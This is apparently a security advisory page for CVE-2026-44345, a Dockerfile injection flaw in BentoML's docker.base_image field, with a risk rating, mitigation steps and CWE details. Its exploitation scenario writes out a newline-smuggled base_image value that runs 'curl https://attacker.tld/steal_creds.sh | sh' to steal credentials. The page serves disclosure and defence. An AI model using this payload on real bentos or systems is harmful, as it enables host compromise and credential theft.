CVE-2026-44345: BentoML: unsanitized base_image allows Dockerfile RCE
GHSA-78f9-r8mh-4xm2 HIGH CISA: ATTENDCVE-2026-44345 allows an attacker to inject arbitrary Dockerfile directives — including shell-executing RUN instructions — by embedding newlines in the docker.base_image field of a bento.yaml, which BentoML renders verbatim through its Jinja2 template before passing it to docker build, achieving arbitrary command execution on the victim's host. This is the third vulnerability discovered in the same BentoML Dockerfile template (following CVE-2026-33744, CVE-2026-35043, and the pending GHSA-w2pm-x38x-jp44), indicating systemic absence of input validation in the containerization path; the package carries 14 known CVEs, an OpenSSF Scorecard of 6.5/10, and a package risk score of 58/100. With 23 downstream dependents and a trivially reproducible exploit requiring only a crafted YAML file, any team pulling bentos from external registries, marketplaces, or partner pipelines faces real supply chain exposure — especially in automated CI/CD workflows where a human may never inspect bento.yaml before containerizing. Upgrade to bentoml >= 1.4.39 immediately and audit all externally-sourced bento.yaml files for multiline docker.base_image values before running containerize.
What is the risk?
CVSS 8.8 High with low attack complexity and no privileges required. The exploit is trivial — a single YAML field with an embedded newline is all that is needed — and the PoC was published alongside the advisory. No CISA KEV entry and no active Nuclei scanner template reduce immediate noise, but the pattern of three sibling bypasses in the same template file signals that BentoML's containerization path has not received systematic input validation hardening. Any organization pulling bentos from external sources and running containerize in CI/CD without manual review should treat this as effectively pre-exploited in their threat model.
How does the attack unfold?
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| BentoML | pip | <= 1.4.38 | 1.4.39 |
Do you use BentoML? You're affected.
How severe is it?
What is the attack surface?
What should I do?
6 steps-
Upgrade bentoml to >= 1.4.39 which validates the base_image field at the config layer.
-
Until patched: add a pre-build validation step that rejects any docker.base_image value containing \n, \r, or whitespace beyond a single space-separated tag. A safe regex: ^[A-Za-z0-9._/-]+(:[A-Za-z0-9._-]+)?(@sha256:[a-f0-9]{64})?$.
-
In CI/CD pipelines: never run
bentoml containerizeon untrusted bentos without a prior YAML lint gate. -
Audit all bento.yaml files in your registry and artifact store for multiline base_image values — grep -rn $'\n' in base_image fields.
-
Treat externally-sourced bentos like untrusted code: review in an isolated sandbox before integrating into production pipelines.
-
Monitor docker build logs for unexpected RUN directives, outbound network calls, or unexpected FROM stages during containerization.
What does CISA's SSVC say?
Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-44345?
CVE-2026-44345 allows an attacker to inject arbitrary Dockerfile directives — including shell-executing RUN instructions — by embedding newlines in the docker.base_image field of a bento.yaml, which BentoML renders verbatim through its Jinja2 template before passing it to docker build, achieving arbitrary command execution on the victim's host. This is the third vulnerability discovered in the same BentoML Dockerfile template (following CVE-2026-33744, CVE-2026-35043, and the pending GHSA-w2pm-x38x-jp44), indicating systemic absence of input validation in the containerization path; the package carries 14 known CVEs, an OpenSSF Scorecard of 6.5/10, and a package risk score of 58/100. With 23 downstream dependents and a trivially reproducible exploit requiring only a crafted YAML file, any team pulling bentos from external registries, marketplaces, or partner pipelines faces real supply chain exposure — especially in automated CI/CD workflows where a human may never inspect bento.yaml before containerizing. Upgrade to bentoml >= 1.4.39 immediately and audit all externally-sourced bento.yaml files for multiline docker.base_image values before running containerize.
Is CVE-2026-44345 actively exploited?
No confirmed active exploitation of CVE-2026-44345 has been reported, but organizations should still patch proactively.
How to fix CVE-2026-44345?
1. Upgrade bentoml to >= 1.4.39 which validates the base_image field at the config layer. 2. Until patched: add a pre-build validation step that rejects any docker.base_image value containing \n, \r, or whitespace beyond a single space-separated tag. A safe regex: ^[A-Za-z0-9._/-]+(:[A-Za-z0-9._-]+)?(@sha256:[a-f0-9]{64})?$. 3. In CI/CD pipelines: never run `bentoml containerize` on untrusted bentos without a prior YAML lint gate. 4. Audit all bento.yaml files in your registry and artifact store for multiline base_image values — grep -rn $'\n' in base_image fields. 5. Treat externally-sourced bentos like untrusted code: review in an isolated sandbox before integrating into production pipelines. 6. Monitor docker build logs for unexpected RUN directives, outbound network calls, or unexpected FROM stages during containerization.
What systems are affected by CVE-2026-44345?
This vulnerability affects the following AI/ML architecture patterns: MLOps pipelines, CI/CD containerization workflows, Model packaging and distribution, Bento registry supply chains, ML model serving.
What is the CVSS score for CVE-2026-44345?
CVE-2026-44345 has a CVSS v3.1 base score of 8.8 (HIGH). The EPSS exploitation probability is 0.32%.
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0010.001 AI Software AML.T0011 User Execution AML.T0011.000 Unsafe AI Artifacts AML.T0050 Command and Scripting Interpreter Compliance Controls Affected
What are the technical details?
Original Advisory
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.39, src/bentoml/_internal/container/frontend/dockerfile/templates/base_v2.j2 interpolates docker.base_image raw with no escaping, newline filtering, or validation. A malicious bento.yaml with a multi-line docker.base_image value smuggles arbitrary Dockerfile directives into the generated Dockerfile, and bentoml containerize then runs docker build which executes the injected RUN directives on the victim host. This vulnerability is fixed in 1.4.39.
Exploitation Scenario
An adversary publishes a poisoned bento to a public registry such as BentoHub or embeds it in a GitHub repository as a 'fine-tuned model release.' The bento.yaml contains docker.base_image with value 'python:3.10\nRUN curl https://attacker.tld/steal_creds.sh | sh\nFROM scratch'. An ML engineer pulls the bento and runs `bentoml containerize my_model:latest`. BentoML's Jinja2 template renders three valid Dockerfile directives: FROM python:3.10, RUN curl https://attacker.tld/steal_creds.sh | sh, and FROM scratch AS base-container. Docker build executes the RUN stage on the engineer's workstation, exfiltrating cloud provider credentials, SSH keys, or environment variables containing API tokens. The build completes without error because the trailing FROM scratch satisfies the named build stage the rest of the template requires, leaving no obvious indication the host was compromised.
Weaknesses (CWE)
CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Primary
CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'): The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
- [Architecture and Design] If at all possible, use library calls rather than external processes to recreate the desired functionality.
- [Architecture and Design, Operation] Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H References
Timeline
Related Vulnerabilities
CVE-2025-54381 9.9 BentoML: unauthenticated SSRF via file upload URLs
Same package: bentoml CVE-2025-27520 9.8 BentoML: unauthenticated RCE via insecure deserialization
Same package: bentoml CVE-2025-32375 9.8 BentoML: RCE via insecure deserialization in runner
Same package: bentoml CVE-2024-9070 9.8 BentoML: unauthenticated RCE via runner deserialization
Same package: bentoml CVE-2026-35044 8.8 BentoML: malicious bento archive RCE via Jinja2 SSTI
Same package: bentoml